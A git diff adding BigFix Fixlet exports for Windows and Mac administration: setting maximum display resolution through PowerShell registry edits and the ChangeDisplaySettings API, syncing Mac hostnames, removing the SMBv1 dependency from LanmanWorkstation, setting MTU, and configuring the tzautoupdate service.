+    <Title>Set Display Resolution to Maximum Resolution</Title>
+    <Description><![CDATA[<P class=MsoNormal style="MARGIN: 0in 0in 8pt"><FONT face=Arial><FONT size=2>Sets the resolution of a computer to its recommended max resolution. Works best with laptops, may have issues with computers&nbsp;connected to multiple&nbsp;displays of different&nbsp;resolutions.</FONT></FONT></P>
+<P class=MsoNormal style="MARGIN: 0in 0in 8pt"><FONT face=Arial><FONT size=2>Works utilizing one of two methods:<?xml:namespace prefix = "o" ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></FONT></FONT></P>
+<OL style="MARGIN-TOP: 0in" type=1>
+<LI class=MsoNormal style="MARGIN: 0in 0in 8pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><FONT face=Arial><FONT size=2><B>If user logged on and not on lock screen:</B> Utilizes <B>DisplaySettings</B> PowerShell module (embedded in actionscript) which uses the <B>ChangeDisplaySettings</B> function to change the display settings.</FONT></FONT></LI>
+<LI class=MsoNormal style="MARGIN: 0in 0in 8pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><FONT face=Arial><FONT size=2><B>If no user logged on or on lock screen:</B> Utilizes direct registry edits and then restarts the display driver.<o:p></o:p></FONT></FONT></LI>
+<UL style="MARGIN-TOP: 0in" type=disc>
+<LI class=MsoNormal style="MARGIN: 0in 0in 8pt; mso-list: l0 level2 lfo1"><FONT face=Arial><FONT size=2><B>WARNING: </B>Restarting the display driver will cause the screen to temporarily go black.<o:p></o:p></FONT></FONT></LI>
+<LI class=MsoNormal style="MARGIN: 0in 0in 8pt; mso-list: l0 level2 lfo1"><FONT size=2><FONT face=Arial><B>WARNING:</B> This will modify ALL display configurations for the device and may have unintended consequences.</FONT><o:p></o:p></FONT></LI></UL></OL>]]></Description>
+    <Relevance>(name of it starts with &quot;Win&quot;) of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2026-07-14</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 28 Jul 2026 17:33:18 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to use ChangeDisplaySettings &lt;STRONG&gt;or&lt;/STRONG&gt; registry edit method depending if a user is logged on.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Create PowerShell script
+parameter "ScriptPath" = "__Download\display-resolution.ps1"
+delete "{(parameter "ScriptPath")}"
+
+if {(exists process "logonui.exe") or (not exists logged on users whose (active of it = True))}
+    createfile until ENDOFSCRIPT
+
+    $resolution = Get-WmiObject -Class CIM_VideoControllerResolution | Sort-Object -Property @{{Expression={{$_.HorizontalResolution * $_.VerticalResolution}} -Descending | Select-Object -First 1 -Property HorizontalResolution, VerticalResolution
+
+    $displayConfigs = Get-Item HKLM:\SYSTEM\CurrentControlSet\Control\GraphicsDrivers\Configuration\*\00
+    $displayConfigs | ForEach-Object {{
+        Set-ItemProperty -Path $_.PsPath -Name PrimSurfSize.cx -Value $resolution.HorizontalResolution -Force
+        Set-ItemProperty -Path $_.PsPath -Name PrimSurfSize.cy -Value $resolution.VerticalResolution -Force
+        Set-ItemProperty -Path "$($_.PsPath)\00" -Name ActiveSize.cx -Value $resolution.HorizontalResolution -Force
+        Set-ItemProperty -Path "$($_.PsPath)\00" -Name ActiveSize.cy -Value $resolution.VerticalResolution -Force
+        Set-ItemProperty -Path "$($_.PsPath)\00" -Name DwmClipBox.bottom -Value $resolution.VerticalResolution -Force
+        Set-ItemProperty -Path "$($_.PsPath)\00" -Name DwmClipBox.left -Value 0 -Force
+        Set-ItemProperty -Path "$($_.PsPath)\00" -Name DwmClipBox.right -Value $resolution.HorizontalResolution -Force
+        Set-ItemProperty -Path "$($_.PsPath)\00" -Name DwmClipBox.top -Value 0 -Force
+        Set-ItemProperty -Path "$($_.PsPath)\00" -Name PrimSurfSize.cx -Value $resolution.HorizontalResolution -Force
+        Set-ItemProperty -Path "$($_.PsPath)\00" -Name PrimSurfSize.cy -Value $resolution.VerticalResolution -Force
+    }
+
+    $displayDriver = Get-PnpDevice | Where-Object {{ $_.Class -like "Display*" }
+    $displayDriver | Disable-PnpDevice -Confirm:$false
+    $displayDriver | Enable-PnpDevice -Confirm:$false
+
+    ENDOFSCRIPT
+else
+    createfile until ENDOFSCRIPT
+
+    $cds = @"
+    namespace cds
+    {{
+        using System;
+        using System.Runtime.InteropServices;
+
+        [StructLayout(LayoutKind.Explicit)]
+        public struct DEVMODE
+        {{
+            [FieldOffset(102)]
+            public short dmLogPixels;
+            [FieldOffset(104)]
+            public int dmBitsPerPel;
+            [FieldOffset(108)]
+            public int dmPelsWidth;
+            [FieldOffset(112)]
+            public int dmPelsHeight;
+            [FieldOffset(116)]
+            public int dmDisplayFlags;
+            [FieldOffset(120)]
+            public int dmDisplayFrequency;
+        }
+
+
+        // https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-changedisplaysettingsa
+        public class Helper
+        {{
+            public static DEVMODE GetDisplaySettings()
+            {{
+                // #define ENUM_CURRENT_SETTINGS       ((DWORD)-1)
+                // #define ENUM_REGISTRY_SETTINGS      ((DWORD)-2)
+                var devMode = new DEVMODE();
+
+                // A NULL value specifies the current display device on the computer on which the calling thread is running.
+                var retCode = EnumDisplaySettings(null, -1, ref devMode);
+                if (retCode == 0)
+                {{
+                    throw new Exception("can't get resolution from win api");
+                }
+
+                return devMode;
+            }
+
+            public static string ChangeDisplaySettings(int width, int height, int flags)
+            {{
+                // /* Return values for ChangeDisplaySettings */
+                // #define DISP_CHANGE_SUCCESSFUL       0
+                // #define DISP_CHANGE_RESTART          1
+                // #define DISP_CHANGE_FAILED          -1
+                // #define DISP_CHANGE_BADMODE         -2
+                // #define DISP_CHANGE_NOTUPDATED      -3
+                // #define DISP_CHANGE_BADFLAGS        -4
+                // #define DISP_CHANGE_BADPARAM        -5
+                // #if(_WIN32_WINNT >= 0x0501)
+                // #define DISP_CHANGE_BADDUALVIEW     -6
+                // #endif /* _WIN32_WINNT >= 0x0501 */
+
+                var devMode = GetDisplaySettings();
+
+                devMode.dmPelsWidth = width;
+                devMode.dmPelsHeight = height;
+
+                var res = ChangeDisplaySettings(ref devMode, flags);
+                switch (res)
+                {{
+                    case 0:
+                        return "The settings change was successful.";
+                    case 1:
+                        return "The computer must be restarted for the graphics mode to work.";
+                    case -1:
+                        return "The display driver failed the specified graphics mode.";
+                    case -2:
+                        return "The graphics mode is not supported.";
+                    case -3:
+                        return "Unable to write settings to the registry.";
+                    case -4:
+                        return "An invalid set of flags was passed in.";
+                    case -5:
+                        return "An invalid parameter was passed in. This can include an invalid flag or combination of flags.";
+                    case -6:
+                        return "The settings change was unsuccessful because the system is DualView capable.";
+                    default:
+                        return "unknow return code: " + res;
+                }
+            }
+
+            [DllImport("user32.dll")]
+            static extern int EnumDisplaySettings(string deviceName, int modeNum, ref DEVMODE devMode);
+
+            [DllImport("user32.dll")]
+            public static extern int ChangeDisplaySettings(ref DEVMODE devMode, int flags);
+
+            public class Flags
+            {{
+                // #define CDS_UPDATEREGISTRY           0x00000001
+                // #define CDS_TEST                     0x00000002
+                // #define CDS_FULLSCREEN               0x00000004
+                // #define CDS_GLOBAL                   0x00000008
+                // #define CDS_SET_PRIMARY              0x00000010
+                // #define CDS_RESET                    0x40000000
+                // #define CDS_NORESET                  0x10000000
+
+                public const int CDS_UPDATEREGISTRY = 0x01;
+                public const int CDS_TEST = 0x02;
+                public const int CDS_FULLSCREEN = 0x04;
+                public const int CDS_GLOBAL = 0x08;
+                public const int CDS_SET_PRIMARY = 0x10;
+                public const int CDS_RESET = 0x40000000;
+                public const int CDS_NORESET = 0x10000000;
+            }
+        }
+    }
+    "@
+
+    [Flags()] enum CDSFlags {{
+        Dynamically = 0
+        UpdateRegistry = 0x01
+        Test = 0x02
+        FullScreen = 0x04
+        Global = 0x08
+        SetPrimary = 0x10
+        Reset = 0x40000000
+        NoReset = 0x10000000
+    }
+
+    Add-Type -TypeDefinition $cds
+
+    function Set-DisplayResolution {{
+        param (
+            [Parameter(Mandatory = $true, Position = 0)]
+            [int]$Width,
+
+            [Parameter(Mandatory = $true, Position = 1)]
+            [int]$Height,
+
+            [CDSFlags]
+            $Flag = [CDSFlags]::Dynamically
+        )
+
+        [cds.Helper]::ChangeDisplaySettings($Width, $Height, $Flag)
+    }
+
+    function Get-DisplayResolution {{
+        [cds.Helper]::GetDisplaySettings()
+    }
+
+    $resolution = Get-WmiObject -Class CIM_VideoControllerResolution | Sort-Object -Property @{{Expression={{$_.HorizontalResolution * $_.VerticalResolution}} -Descending | Select-Object -First 1 -Property HorizontalResolution, VerticalResolution
+
+    Set-DisplayResolution -Width $resolution.HorizontalResolution -Height $resolution.VerticalResolution -Flag "Global, UpdateRegistry"
+
+    ENDOFSCRIPT
+endif
+
+// Run script
+copy __createfile "{(parameter "ScriptPath")}"
+
+if {(exists process "logonui.exe") or (not exists logged on users whose (active of it = True))}
+    waithidden powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "{(parameter "ScriptPath")}"
+else
+    override wait // SYSTEM user is unable to change display settings w/ ChangeDisplaySettings function, must run as current user
+        completion=job
+        hidden=true
+        runas=currentuser
+    wait powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "{(parameter "ScriptPath")}"
+endif
+
+//delete "{(parameter "ScriptPath")}"]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action28500">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to only use ChangeDisplaySettings method. &lt;STRONG&gt;Requires user to be logged on.&lt;/STRONG&gt;&amp;nbsp;</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[continue if {(not exists process "logonui.exe") and (exists logged on users whose (active of it = True))}
+
+// Create PowerShell script
+parameter "ScriptPath" = "__Download\display-resolution.ps1"
+delete "{(parameter "ScriptPath")}"
+
+createfile until ENDOFSCRIPT
+
+$cds = @"
+namespace cds
+{{
+    using System;
+    using System.Runtime.InteropServices;
+
+    [StructLayout(LayoutKind.Explicit)]
+    public struct DEVMODE
+    {{
+        [FieldOffset(102)]
+        public short dmLogPixels;
+        [FieldOffset(104)]
+        public int dmBitsPerPel;
+        [FieldOffset(108)]
+        public int dmPelsWidth;
+        [FieldOffset(112)]
+        public int dmPelsHeight;
+        [FieldOffset(116)]
+        public int dmDisplayFlags;
+        [FieldOffset(120)]
+        public int dmDisplayFrequency;
+    }
+
+
+    // https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-changedisplaysettingsa
+    public class Helper
+    {{
+        public static DEVMODE GetDisplaySettings()
+        {{
+            // #define ENUM_CURRENT_SETTINGS       ((DWORD)-1)
+            // #define ENUM_REGISTRY_SETTINGS      ((DWORD)-2)
+            var devMode = new DEVMODE();
+
+            // A NULL value specifies the current display device on the computer on which the calling thread is running.
+            var retCode = EnumDisplaySettings(null, -1, ref devMode);
+            if (retCode == 0)
+            {{
+                throw new Exception("can't get resolution from win api");
+            }
+
+            return devMode;
+        }
+
+        public static string ChangeDisplaySettings(int width, int height, int flags)
+        {{
+            // /* Return values for ChangeDisplaySettings */
+            // #define DISP_CHANGE_SUCCESSFUL       0
+            // #define DISP_CHANGE_RESTART          1
+            // #define DISP_CHANGE_FAILED          -1
+            // #define DISP_CHANGE_BADMODE         -2
+            // #define DISP_CHANGE_NOTUPDATED      -3
+            // #define DISP_CHANGE_BADFLAGS        -4
+            // #define DISP_CHANGE_BADPARAM        -5
+            // #if(_WIN32_WINNT >= 0x0501)
+            // #define DISP_CHANGE_BADDUALVIEW     -6
+            // #endif /* _WIN32_WINNT >= 0x0501 */
+
+            var devMode = GetDisplaySettings();
+
+            devMode.dmPelsWidth = width;
+            devMode.dmPelsHeight = height;
+
+            var res = ChangeDisplaySettings(ref devMode, flags);
+            switch (res)
+            {{
+                case 0:
+                    return "The settings change was successful.";
+                case 1:
+                    return "The computer must be restarted for the graphics mode to work.";
+                case -1:
+                    return "The display driver failed the specified graphics mode.";
+                case -2:
+                    return "The graphics mode is not supported.";
+                case -3:
+                    return "Unable to write settings to the registry.";
+                case -4:
+                    return "An invalid set of flags was passed in.";
+                case -5:
+                    return "An invalid parameter was passed in. This can include an invalid flag or combination of flags.";
+                case -6:
+                    return "The settings change was unsuccessful because the system is DualView capable.";
+                default:
+                    return "unknow return code: " + res;
+            }
+        }
+
+        [DllImport("user32.dll")]
+        static extern int EnumDisplaySettings(string deviceName, int modeNum, ref DEVMODE devMode);
+
+        [DllImport("user32.dll")]
+        public static extern int ChangeDisplaySettings(ref DEVMODE devMode, int flags);
+
+        public class Flags
+        {{
+            // #define CDS_UPDATEREGISTRY           0x00000001
+            // #define CDS_TEST                     0x00000002
+            // #define CDS_FULLSCREEN               0x00000004
+            // #define CDS_GLOBAL                   0x00000008
+            // #define CDS_SET_PRIMARY              0x00000010
+            // #define CDS_RESET                    0x40000000
+            // #define CDS_NORESET                  0x10000000
+
+            public const int CDS_UPDATEREGISTRY = 0x01;
+            public const int CDS_TEST = 0x02;
+            public const int CDS_FULLSCREEN = 0x04;
+            public const int CDS_GLOBAL = 0x08;
+            public const int CDS_SET_PRIMARY = 0x10;
+            public const int CDS_RESET = 0x40000000;
+            public const int CDS_NORESET = 0x10000000;
+        }
+    }
+}
+"@
+
+[Flags()] enum CDSFlags {{
+    Dynamically = 0
+    UpdateRegistry = 0x01
+    Test = 0x02
+    FullScreen = 0x04
+    Global = 0x08
+    SetPrimary = 0x10
+    Reset = 0x40000000
+    NoReset = 0x10000000
+}
+
+Add-Type -TypeDefinition $cds
+
+function Set-DisplayResolution {{
+    param (
+        [Parameter(Mandatory = $true, Position = 0)]
+        [int]$Width,
+
+        [Parameter(Mandatory = $true, Position = 1)]
+        [int]$Height,
+
+        [CDSFlags]
+        $Flag = [CDSFlags]::Dynamically
+    )
+
+    [cds.Helper]::ChangeDisplaySettings($Width, $Height, $Flag)
+}
+
+function Get-DisplayResolution {{
+    [cds.Helper]::GetDisplaySettings()
+}
+
+$resolution = Get-WmiObject -Class CIM_VideoControllerResolution | Sort-Object -Property @{{Expression={{$_.HorizontalResolution * $_.VerticalResolution}} -Descending | Select-Object -First 1 -Property HorizontalResolution, VerticalResolution
+
+Set-DisplayResolution -Width $resolution.HorizontalResolution -Height $resolution.VerticalResolution -Flag "Global, UpdateRegistry"
+
+ENDOFSCRIPT
+
+// Run script
+copy __createfile "{(parameter "ScriptPath")}"
+
+override wait // SYSTEM user is unable to change display settings w/ ChangeDisplaySettings function, must run as current user
+    completion=job
+    hidden=true
+    runas=currentuser
+wait powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "{(parameter "ScriptPath")}"
+
+//delete "{(parameter "ScriptPath")}"]]></ActionScript>
+    </Action>
+    <Action ID="Action28501">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to only use registry edit method.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Create PowerShell script
+parameter &quot;ScriptPath&quot; = &quot;__Download\display-resolution.ps1&quot;
+delete &quot;{(parameter &quot;ScriptPath&quot;)}&quot;
+
+createfile until ENDOFSCRIPT
+
+$resolution = Get-WmiObject -Class CIM_VideoControllerResolution | Sort-Object -Property @{{Expression={{$_.HorizontalResolution * $_.VerticalResolution}} -Descending | Select-Object -First 1 -Property HorizontalResolution, VerticalResolution
+
+$displayConfigs = Get-Item HKLM:\SYSTEM\CurrentControlSet\Control\GraphicsDrivers\Configuration\*\00
+$displayConfigs | ForEach-Object {{
+    Set-ItemProperty -Path $_.PsPath -Name PrimSurfSize.cx -Value $resolution.HorizontalResolution -Force
+    Set-ItemProperty -Path $_.PsPath -Name PrimSurfSize.cy -Value $resolution.VerticalResolution -Force
+    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name ActiveSize.cx -Value $resolution.HorizontalResolution -Force
+    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name ActiveSize.cy -Value $resolution.VerticalResolution -Force
+    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name DwmClipBox.bottom -Value $resolution.VerticalResolution -Force
+    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name DwmClipBox.left -Value 0 -Force
+    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name DwmClipBox.right -Value $resolution.HorizontalResolution -Force
+    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name DwmClipBox.top -Value 0 -Force
+    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name PrimSurfSize.cx -Value $resolution.HorizontalResolution -Force
+    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name PrimSurfSize.cy -Value $resolution.VerticalResolution -Force
+}
+
+$displayDriver = Get-PnpDevice | Where-Object {{ $_.Class -like &quot;Display*&quot; }
+$displayDriver | Disable-PnpDevice -Confirm:$false
+$displayDriver | Enable-PnpDevice -Confirm:$false
+
+ENDOFSCRIPT
+
+// Run script
+copy __createfile &quot;{(parameter &quot;ScriptPath&quot;)}&quot;
+
+waithidden powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File &quot;{(parameter &quot;ScriptPath&quot;)}&quot;
+
+//delete &quot;{(parameter &quot;ScriptPath&quot;)}&quot;</ActionScript>
+    </Action>
+    <Action ID="Action28502">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to view DisplaySettings PowerShell module from PowerShell Gallery.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://www.powershellgallery.com/packages/DisplaySettings/0.0.2</ActionScript>
+    </Action>
+    <Action ID="Action28503">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to view ChangeDisplaySettings function documentation from Microsoft.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-changedisplaysettingsa</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set Hostname and Local Subnet Name to Sharing Name V2 - Mac (3649).bes b/Sites/Windows Management/Fixlets/Fixlets/Set Hostname and Local Subnet Name to Sharing Name V2 - Mac (3649).bes
new file mode 100644
index 000000000..378c044b6
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set Hostname and Local Subnet Name to Sharing Name V2 - Mac (3649).bes	
@@ -0,0 +1,59 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Set Hostname and Local Subnet Name to Sharing Name V2 - Mac
+  ID       : 3649
+  Author   : kerryt9455
+  Domain   : BESC
+  Imported : 2013-10-24T07:28:51
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Set Hostname and Local Subnet Name to Sharing Name V2 - Mac</Title>
+    <Description><![CDATA[<P>This task gets the Sharing Name, Hostname and Local Subnet Name (Bonjour Name). It checks for apostrophes, spaces, and other illegal characters.&nbsp; It then checks to see if the cleaned&nbsp;Sharing Name matches the Hostname (with .local on the end).&nbsp; If they don't match it changes the Hostname to correct it.&nbsp; It also checks to see if the cleaned Sharing Name matches the Local Subnet Name.&nbsp; If it doesn't match it updates the Local Subnet Name to the Sharing Name with .local on the end. Finally, if the computer name doesn't match the sanitized name, it updates the sharing name.</P>
+<P>By making these names all match computers should appear in SEP and Secunia using their Sharing Name.</P>
+<P><STRONG>Note:</STRONG> The script will replace any spaces in the Sharing Name with hyphens!</P>]]></Description>
+    <Relevance>name of operating system = &quot;Mac OS X&quot;</Relevance>
+    <Relevance><![CDATA[system version >= "10.5" as version]]></Relevance>
+    <Relevance>(not (hostname contains computer name)) OR ((it contains &quot;_&quot; or it contains &quot;&apos;&quot; or it contains &quot; &quot;) of hostname)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2012-04-06</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 08 Feb 2013 21:55:41 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-sh">#!/bin/bash
+
+sharename=`networksetup -getcomputername`
+compname=`networksetup -getcomputername | sed &apos;s/ /-/g&apos; | sed &quot;s/&apos;//g&quot; | sed &quot;s/’//g&quot; | sed &apos;s/_/-/g&apos;`
+hstname=`hostname`
+lclname=&quot;`systemsetup -getlocalsubnetname | sed &apos;s/Local Subnet Name: //&apos;`&quot;
+
+if [ &quot;${compname}.local&quot; != &quot;$hstname&quot; ]
+then
+	scutil --set HostName ${compname}.local
+fi
+
+if [ &quot;$compname&quot; != &quot;$lclname&quot; ]
+then
+	systemsetup -setlocalsubnetname $compname
+fi
+
+if [ &quot;$sharename&quot; != &quot;$compname&quot; ]
+then
+	scutil --set ComputerName $compname
+fi
+
+exit 0</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set LanmanWorkstation service to NOT depend on SMBv1 - Windows (23441).bes b/Sites/Windows Management/Fixlets/Fixlets/Set LanmanWorkstation service to NOT depend on SMBv1 - Windows (23441).bes
new file mode 100644
index 000000000..b66892000
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set LanmanWorkstation service to NOT depend on SMBv1 - Windows (23441).bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Set LanmanWorkstation service to NOT depend on SMBv1 - Windows
+  ID       : 23441
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-02-14T15:27:08
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Set LanmanWorkstation service to NOT depend on SMBv1 - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>exists unique values whose(it contains &quot;mrxsmb10&quot;) of (it as string as lowercase) of values &quot;DependOnService&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation&quot; of (x64 registries;x32 registries)</Relevance>
+    <Relevance>windows of operating systems</Relevance>
+    <Category>Configuration</Category>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2017-02-14</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 14 Feb 2017 23:25:37 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012
+waithidden sc.exe config lanmanworkstation depend= bowser/mrxsmb20/nsi
+
+action requires restart &quot;SMBv1_LanManDepends&quot;
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set MTU to 1400 (2456).bes b/Sites/Windows Management/Fixlets/Fixlets/Set MTU to 1400 (2456).bes
new file mode 100644
index 000000000..ffcd03f41
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set MTU to 1400 (2456).bes	
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Set MTU to 1400
+  ID       : 2456
+  Author   : sinucus
+  Domain   : BESC
+  Imported : 2013-05-08T08:03:23
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Set MTU to 1400</Title>
+    <Description>Detects if the MTU for the 10.* interface is NOT set to 1400. If so, this will report as relevant and will change the interface to 1400</Description>
+    <Relevance><![CDATA[(not exists value "MTU" of key ("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\" & concatenation "" of (names of it of it whose (exists value "IPAddress" whose (it as string starts with "10.") of it)  of (it; keys of it) of key "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces" of registry)) of registry) OR (exists key ("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\" & concatenation "" of (names of it of it whose (exists value "IPAddress" whose (it as string starts with "10.") of it)  of (it; keys of it) of key "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces" of registry)) whose (value "MTU" of it != 1400) of registry)]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2011-11-07</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 07 Nov 2011 20:59:28 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{(names of it) of it whose (exists value &quot;IPAddress&quot; whose (it as string starts with &quot;10.&quot;) of it)  of (it; keys of it) of key &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces&quot; of registry}]&quot; &quot;MTU&quot;=dword:00000578</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to Auto - Windows (24613).bes b/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to Auto - Windows (24613).bes
new file mode 100644
index 000000000..d78cba583
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to Auto - Windows (24613).bes	
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Set Service tzautoupdate to Auto - Windows
+  ID       : 24613
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-08-09T21:18:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Set Service tzautoupdate to Auto - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists services &quot;tzautoupdate&quot;</Relevance>
+    <Relevance>not exists keys whose(name of it as lowercase = &quot;tzautoupdate&quot; as lowercase AND not exists values &quot;DelayedAutoStart&quot; whose(it as integer = 1) of it AND exists values &quot;Start&quot; whose(it as integer = 2) of it) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services&quot; of registries</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-08-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 10 Aug 2017 04:12:41 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+waithidden cmd /C sc config tzautoupdate start= auto
+
+// References:
+//  - https://technet.microsoft.com/en-us/library/cc990290
+//  - https://developer.bigfix.com/relevance/reference/service.html
+//  - https://serverfault.com/questions/599099/windows-service-trigger-start-difference-manual-vs-automatic
+//  - https://www.tenforums.com/general-support/7464-difference-between-manual-manual-trigger-start-services.html#post924871
+//  - https://bigfix.me/relevance/details/3020300
+//  - https://bigfix.me/relevance/details/3020298
+//  - https://bigfix.me/relevance/details/3020297
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to DelayedAutoStart - Windows (24612).bes b/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to DelayedAutoStart - Windows (24612).bes
new file mode 100644
index 000000000..158b9a60c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to DelayedAutoStart - Windows (24612).bes	
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Set Service tzautoupdate to DelayedAutoStart - Windows
+  ID       : 24612
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-08-09T21:18:26
+  Source   : bigfixm1_main @ BES-Root
+-->
